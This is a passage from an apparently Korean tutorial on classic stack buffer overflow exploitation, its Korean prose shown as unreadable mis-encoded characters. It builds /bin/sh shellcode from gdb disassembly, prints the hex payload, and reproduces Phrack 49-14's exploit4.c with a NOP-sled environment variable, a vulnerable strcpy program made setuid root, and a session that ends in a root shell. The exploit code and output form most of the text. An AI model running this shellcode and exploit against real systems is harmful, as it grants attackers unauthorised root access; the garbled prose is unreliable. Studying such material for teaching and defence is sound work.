µÈ´Ù. ÀÌ·¯ÇÑ ºÒÆòÀÌ Segmentation fault ¶ó´Â ¿¡·¯¸Þ¼¼Áö°¡ µÇ´Â °ÍÀÌ´Ù. ±×·¯¸é Áö±Ý±îÁöÀÇ ¼³¸íÀ» ÅëÇØ Stack Overflow°¡ ¾î¶°ÇÑ °úÁ¤À¸·Î ÀÌ·ç¾îÁö ´Â°¡¸¦ Á¤¸®ÇØ º¸¸é ´ÙÀ½°ú °°´Ù. -- Âü°í 5. Stack Overflow ÀÇ °úÁ¤ 1´Ü°è : ÇÔ¼öÀÇ Áö¿ªº¯¼ö ºÎºÐ¿¡ ¾ÆÁÖ ±ä µ¥ÀÌÅ͸¦ ÀÔ·ÂÇÔÀ¸·Î½á, ret ÀÇ À§ Ä¡±îÁö µµ´ÞÇÑ´Ù. 2´Ü°è : ¸Þ¸ð¸®ÀÇ ¾îµò°¡¿¡ ½ÇÇà½ÃÅ°°í ½ÍÀº Äڵ带 ½á ³Ö´Â´Ù. 3´Ü°è : ret ¿¡ ½ÇÇà½ÃÅ°°í ½ÍÀº Äڵ尡 À§Ä¡ÇÏ°í ÀÖ´Â ÁÖ¼Ò¸¦ ½á ³Ö´Â´Ù. -- 6. Shell code ÀÇ °³³ä°ú »ý¼º¹ý Stack OverflowÀÇ °úÁ¤Áß 2´Ü°è¿¡¼­ ½ÇÇà½ÃÅ°°í ½ÍÀº Äڵ带 ½á ³Ö´Â´Ù°í ÇÏ ¿´´Âµ¥, ¿ì¸®°¡ °ø·«ÇÏ°íÀÚ ÇÏ´Â ÇÁ·Î±×·¥ÀÌ ·çÆ® ¼ÒÀ¯ÀÇ setuid ¶ó¸é, ½ÇÇà ½ÃÅ°°í ½ÍÀº ÄÚµå ºÎºÐ¿¡ ½©À» ½ÇÇàÇÏ´Â Äڵ带 ½á ³ÖÀ½À¸·Î½á ·çÆ® ±ÇÇÑÀÇ ½©À» ¾òÀ» ¼ö ÀÖ´Ù. ½©À» ½ÇÇàÇÏ´Â Äڵ带 ½©ÄÚµå¶ó Çϴµ¥, ½©ÄÚµå´Â ÄÄÇ» ÅÍ°¡ ÀÌÇØÇÒ ¼ö ÀÖ´Â ±â°è¾î¶ó¾ß¸¸ ½ÇÇà °¡´ÉÇÑ Äڵ尡 µÈ´Ù. ±×·¯¸é, ½©ÄÚ µå´Â ¾î¶² ½ÄÀ¸·Î ¸¸µé¾îÁö´ÂÁö ¾Ë¾Æº¸ÀÚ. ÀÚ, ´ÙÀ½ ¼Ò½º¸¦ º¸ÀÚ. -- ¼Ò½º 4. shell.c #include int main( void ) { char *name[2]; name[0] = "/bin/bash"; name[1] = NULL; execvp( name[0], name ); } -- ÀÌ ¼Ò½º¸¦ ÄÄÆÄÀÏÇÑ µÚ ½ÇÇà½ÃÅ°¸é, ¿ì¸®ÀÇ ¿¹»ó´ë·Î ½©ÀÌ ½ÇÇàµÇ°Ô µÈ´Ù. ±×·¸´Ù¸é ÀÌ ÇÁ·Î±×·¥ÀÇ ±â°è¾î ºÎºÐÀÌ ¿ì¸®°¡ ¿øÇÏ´Â ½©Äڵ尡 µÇ´Â °ÍÀÌ´Ù . ±×·¯¸é Á÷Á¢ ÀÌ ÇÁ·Î±×·¥ÀÇ ±â°è¾î¸¦ »ìÆ캸ÀÚ. ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÅëÇØ ÀÌ ÇÁ·Î±×·¥ÀÇ ±â°è¾î¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù. -- Âü°í 6. shell.c ÀÇ ±â°è¾î ¿ì¼±, ÄÄÆÄÀϽà Ưº°ÇÑ ¿É¼ÇÀ» ÁÖ¾î¾ß ÇÑ´Ù. $ gcc -ggdb -static -o shell shell.c ÀÌ·¸°Ô Çؼ­ shell À» ¸¸µé¾î ³ÂÀ¸¸é, ÀÌÁ¦ GNU Debuger ¸¦ ÀÌ¿ëÇÏ¿© ÀÌ ÇÁ ·Î±×·¥À» ºÐ¼®ÇØ¾ß ÇÑ´Ù. $ gdb shell ÀÌ·¸°Ô ½ÇÇà½ÃÅ°¸é ¸Þ¼¼Áö¿Í ÇÔ²² ´ÙÀ½ÀÇ ÇÁ·ÒÇÁÆ®°¡ ³ªÅ¸³­´Ù. (gdb) _ ¿©±â¼­ disassemble ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© main() ºÎºÐÀ» ¿ª¾î¼Àºí ÇØ º»´Ù. ÇÏÁö ¸¸ °ÆÁ¤ÇÏÁö´Â ¸»¶ó. ¾î¼Àºí¸®¸¦ ¸ô¶óµµ »ó°ü ¾ø´Â ºÎºÐÀÏ »ÓÀÌ´Ù. (gdb) disassemble main ±×·¯¸é ´ÙÀ½°ú °°Àº º¹ÀâÇÑ Ãâ·ÂÀÌ ³ªÅ¸³­´Ù. Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x8048199 : movl %esp,%ebp 0x804819b : subl $0x8,%esp 0x804819e : movl $0x806f5c8,0xfffffff8(%ebp) 0x80481a5 : movl $0x0,0xfffffffc(%ebp) 0x80481ac : leal 0xfffffff8(%ebp),%eax 0x80481af : pushl %eax 0x80481b0 : movl 0xfffffff8(%ebp),%eax 0x80481b3 : pushl %eax 0x80481b4 : call 0x804ba20 0x80481b9 : addl $0x8,%esp 0x80481bc : leave 0x80481bd : ret End of assembler dump. ¸ðµÎ ¾î¼Àºí¸® ÄÚµå¶ó¼­ ¹¹°¡ ¹ºÁö ÀßÀº ¸ð¸£°ÚÁö¸¸, 0x80481b4 ¹®ÀåÀ» º¸¸é execvp() ÇÔ¼ö¸¦ call À» ÅëÇØ È£ÃâÇÑ °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. ±×·¯¸é execvp() ÇÔ ¼öµµ ´ÙÀ½°ú °°ÀÌ disassemble ÇØ º¸ÀÚ. (gdb) disassemble execvp ±×·¯¸é ¿ª½Ã ±²ÀåÈ÷ º¹ÀâÇÑ Ãâ·ÂÀÌ ³ªÅ¸³­´Ù. Dump of assembler code for function execvp: 0x804ba20 : pushl %ebp 0x804ba21 : movl %esp,%ebp 0x804ba23 : subl $0xc,%esp 0x804ba26 : pushl %edi 0x804ba27 : pushl %esi 0x804ba28 : pushl %ebx 0x804ba29 : movl $0x0,0xfffffffc(%ebp) 0x804ba30 : movl 0x8(%ebp),%eax 0x804ba33 : cmpb $0x0,(%eax) 0x804ba36 : jne 0x804ba48 0x804ba38 : call 0x804bf24 <__errno_location> 0x804ba3d : movl $0x2,(%eax) 0x804ba43 : jmp 0x804bb93 0x804ba48 : pushl $0x2f 0x804ba4a : movl 0x8(%ebp),%ecx 0x804ba4d : pushl %ecx 0x804ba4e : call 0x804d6c0 0x804ba53 : movl %eax,%edx 0x804ba55 : addl $0x8,%esp 0x804ba58 : testl %edx,%edx 0x804ba5a : je 0x804ba70 0x804ba5c : movl 0xc(%ebp),%edx ---Type to continue, or q to quit--- ¿ì¸®´Â ÀÌ·¸°Ô ±ä ÄÚµåÁß¿¡¼­ ½ÇÁ¦·Î ¿ì¸®¿¡°Ô ÇÊ¿äÇÑ ºÎºÐ¸¸À» °ñ¶ó³»¾ß ÇÑ ´Ù. ÇÏÁö¸¸ ÀÌ·± Ãâ·ÂµéÀ» ¸ðµÎ ´Ù ÀÌÇØÇÒ ÇÊ¿ä´Â ¾ø´Ù. ¿ì¸®°¡ ÇØ¾ß ÇÒ ÀÏ À» Phrack 49-14È£¿¡¼­ ´ë½Å ÇØ ÁÖ°í Àֱ⠶§¹®ÀÌ´Ù. Phrack 49-14È£¿¡ µû¸£ ¸é, ÀÌ·¸°Ô ±ä ÄÚµåÁß ¿ì¸®¿¡°Ô ²À ÇÊ¿äÇÑ ÄÚµå´Â ´Ü ¸îÁÙ·Î ¿ä¾àµÈ´Ù. jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes -- ÀÚ, ÀÌÁ¦ ½©À» ½ÇÇà½ÃÅ°´Âµ¥ ²À ÇÊ¿äÇÑ ¸îÁÙÀÇ ¾î¼Àºí¸® Äڵ带 ¾ò¾ú´Ù. ÀÌ Á¦ ¿ì¸®°¡ ÇÒ ÀÏÀº ÀÌ ¾î¼Àºí¸® Äڵ带 16Áø¼öÀÇ ±â°è¾î ÄÚµå·Î º¯È¯ÇÏ´Â °Í ÀÌ´Ù. ±× ¹æ¹ýÀº ¾ÆÁÖ °£´ÜÇÏ´Ù. ´ÙÀ½ÀÇ ¼Ò½º¸¦ º¸ÀÚ. -- ¼Ò½º 5. shellcode.c int main( void ) { __asm__( " jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes " ); } -- ÀÌ°ÍÀº ÀÎ-¶óÀÎ ¾î¼Àºí¸®¸¦ ÀÌ¿ëÇÏ¿© C ¾ð¾î¿¡¼­ ¾î¼Àºí¸® Äڵ带 »ç¿ëÇÑ °Í ÀÌ´Ù. ÀÌÁ¦ ÀÌ ÇÁ·Î±×·¥À» ÄÄÆÄÀÏ ½ÃÄѺ¸ÀÚ. -- Âü°í 7. shellcode.c ¿¡¼­ ±â°è¾î¸¦ ÃßÃâÇÏ´Â ¹æ¹ý ´ÙÀ½°ú °°Àº ¸í·É¾î·Î shellcode.c ¸¦ ÄÄÆÄÀÏÇÑ´Ù. $ gcc -ggdb -static -o shellcode shellcode.c ´ÙÀ½ gdb ¸¦ ÀÌ¿ëÇÏ¿© shellcode ÀÇ main() ºÎºÐÀ» ¿ª¾î¼Àºí ½ÃŲ´Ù. $ gdb shellcode (gdb) disassemble main ±×·¯¸é ´ÙÀ½°ú °°Àº Äڵ带 ¾òÀ» ¼ö ÀÖ´Ù. Dump of assembler code for function main: 0x8048198
: pushl %ebp 0x804819b : jmp 0x80481c3 0x804819d : popl %esi 0x804819e : movl %esi,0x8(%esi) ......( ÀÌÇÏ »ý·« ) ¿ì¸®´Â ¿©±â¼­ main() ºÎºÐÀÇ ½ÃÀÛÀ§Ä¡¸¦ ¾Ë ¼ö ÀÖ´Ù. ±×·¯¸é gdb ÀÇ ¸í·É¾î Áß, 16Áø¼ö ±â°è¾î¸¦ Ãâ·ÂÇÏ´Â ¸í·É¾îÀÎ x/xb ¸¦ ÀÌ¿ëÇÏ¿© ¿ì¸®°¡ ¿øÇÏ´Â ±â °è¾î¸¦ ¸¸µé¾î ³¾ ¼ö ÀÖ´Ù. (gdb) x/xb main 0x8048198 : 0xeb ÀÏ´Ü x/xb ¿¡ main ÀÇ À§Ä¡¸¦ ¾Ë·ÁÁֱ⸸ ÇÏ¸é ±× µÚ·Î´Â ¿£Å͸¦ ÀÔ·ÂÇÒ ¶§ ¸¶´Ù ÇØ´ç ¶óÀÎÀÇ 16Áø¼ö Äڵ尡 Ãâ·ÂµÇ°Ô µÈ´Ù. (gdb) [ENTER] 0x8048199 : 0x2a (gdb) [ENTER] 0x804819a : 0x5e ....( ÀÌÇÏ »ý·« ) ÀÌ·¯ÇÑ ½ÄÀ¸·Î main() ÀÌ ³¡³ª´Â ºÎºÐ±îÁö 16Áø¼ö Äڵ带 ¾òÀ» ¼ö ÀÖ´Ù. -- ÀÚ, µåµð¾î ½©Äڵ带 ¾ò¾ú´Ù. i686/Linux ¿¡¼­ ÀÌ·±½ÄÀ¸·Î ½©Äڵ带 »ý¼ºÇÑ °á°ú ´ÙÀ½°ú °°Àº ½©Äڵ带 ¾òÀ» ¼ö ÀÖ¾ú´Ù. \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00 \x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80 \xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff \xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3 ÇÏÁö¸¸ ÀÌ°ÍÀ» ½©ÄÚµå·Î »ç¿ëÇϴµ¥¿¡´Â ¹®Á¦°¡ ÀÖ´Ù. ½©ÄÚµå´Â º¸Åë ´ÙÀ½ °ú °°ÀÌ ¼±¾ðµÈ´Ù. char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; ±×·±µ¥ char Çü º¯¼ö¿¡¼­´Â º¯¼öÀÇ ³»¿ëÀ» Àд µµÁß \x00 À» ¸¸³ª¸é ¹®ÀÚ¿­ ÀÇ ³¡À¸·Î ÀνÄÇØ ¹ö¸±¼öµµ Àִ°ÍÀÌ´Ù. ±×·¡¼­ À§ÀÇ ½©ÄÚµåÁß \x00 À» Á¦°Å ÇÑ ºÎºÐÀÌ ´ÙÀ½°ú °°´Ù. char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh" ÀÚ, ÀÌÁ¦ ¼º°øÀûÀ¸·Î ½© Äڵ带 ¾ò¾úÀ¸´Ï ÀÌ ½©Äڵ尡 ½ÇÁ¦·Î ½©À» ½ÇÇà½ÃÅ° ´ÂÁö Å×½ºÆ®¸¦ ÇØ º¼ ÇÊ¿ä°¡ ÀÖ´Ù. -- ¼Ò½º 6. shelltest.c char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; int main( void ) { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } -- ÀÌ ¼Ò½º ÄÚµå´Â ret °ªÀ» shellcode ÀÇ ½ÃÀÛ ÁÖ¼Ò·Î º¯°æÇÏ´Â ¿ªÇÒÀ» ÇÑ´Ù. Á¤»óÀûÀ¸·Î ÄÄÆÄÀϽÃÄÑ ½ÇÇàÇϸé, ¾Æ¸¶ ½©ÀÌ ½ÇÇàµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. 7. shellcode ÀÇ ÁÖ¼Ò¸¦ ret ¿¡ ¼³Á¤ÇÏ´Â ¹ý ÀÚ, µåµð¾î Áö·çÇÑ ¾î¼Àºí¸®°¡ ³¡³ª°í ¸¶Áö¸· ³­Á¦¿¡ ºÎ‹HÃÆ´Ù. ¹Ù·Î shellc ode ÀÇ À§Ä¡¸¦ ret ¿¡ Áý¾î³Ö´Â ¹æ¹ý¿¡ °üÇÑ ¹®Á¦Àε¥, 0.9 ¹öÁ¯ÀÇ º» ¹®¼­ ¿¡¼­´Â ÀÌ ºÎºÐÀº ´Ù·çÁö ¾Ê´Â´Ù. µû¶ó¼­ ÀÌ ºÎºÐÀº phrack 49-14È£¸¦ Àοë ÇÑ´Ù. -- ¼Ò½º 7. exploit.c ( phrack 49-14È£ Àοë, exploit4.c ) #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } -- ÀÌ ¼Ò½º ÄÚµå´Â Stack ±¸¿ªÀÇ À§Ä¡¸¦ °è»êÇÏ¿© »õ·Î¿î ½©À» ½ÇÇàÇÑ´Ù. ¿É¼Ç À¸·Î´Â »ç¿ëÀÚ°¡ ÀÓÀÇ·Î buffer size¿Í offsetÀ» ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï ÇÏ¿´´Â´Ù. ±×¸®°í RET ¶ó´Â ȯ°æº¯¼ö¿¡ ½©Äڵ带 ÀúÀåÇÔÀ¸·Î½á, ¾î¶² ÇÁ·Î±×·¥À» ½ÇÇà ½Ãų ¶§, ÀÎÀÚ·Î $RET ¸¦ ÁÖ¸é ÀÚµ¿À¸·Î ½©Äڵ尡 µé¾î°¡µµ·Ï ÇÏ¿´´Ù. ÀÌ ¹® ¼­ÀÇ ´ÙÀ½ ¹öÁ¯¿¡¼­´Â ÀÌ ÇÁ·Î±×·¥¿¡ ÁÖ¼®À» ´Þ¾Æ ºÐ¼®ÇϱⰡ ¿ëÀÌÇϵµ·Ï ÇÏ °Ú´Ù. 8. Stack Overflow ÀÇ ¿¹ ´ÙÀ½ ¼Ò½º´Â Stack Overflow°¡ °¡´ÉÇÑ ÇÁ·Î±×·¥ÀÇ ¿¹ÀÌ´Ù. -- ¼Ò½º 8. vulnerable.c void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) strcpy(buffer,argv[1]); } -- ÀÚ, vulnerable.c ¸¦ ÄÄÆÄÀÏÇÏ°í, root ¼ÒÀ¯ÀÇ setuid ¸¦ °É¾îº¸ÀÚ. ±×¸®°í ÀÏ¹Ý °èÁ¤À¸·Î ·Î±×ÀÎÇϸé À§ÀÇ exploit À» ÀÌ¿ëÇÏ¿© ´ÙÀ½°ú °°Àº °úÁ¤À¸·Î Stack Overflow¸¦ ÀÏÀ¸Å³ ¼ö ÀÖ´Ù. -- Âü°í 8. Stack OverflowÀÇ ¿¹ $ ./exploit Using address: 0xbffff900 $ ./vulnerable $RET °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? Segmentation fault $ exit exit $ ./exploit 768 Using address: 0xbffffdb0 $ ./vulnerable $RET °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? °¤ÿ¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°?¿°? bash# -- 9. Next Version of this Document ÀÌ ¹®¼­ÀÇ ´ÙÀ½ ¹öÁ¯¿¡´Â ´ÙÀ½°ú °°Àº »çÇ×ÀÌ °³¼±µÈ´Ù. - ¿ÀŸ Á¤Á¤ - exploit.c ÁÖ¼®Ã³¸® - ½© ÄÚµå »ý¼º¹ý ºÎ¿¬¼³¸í /*********************************************************************/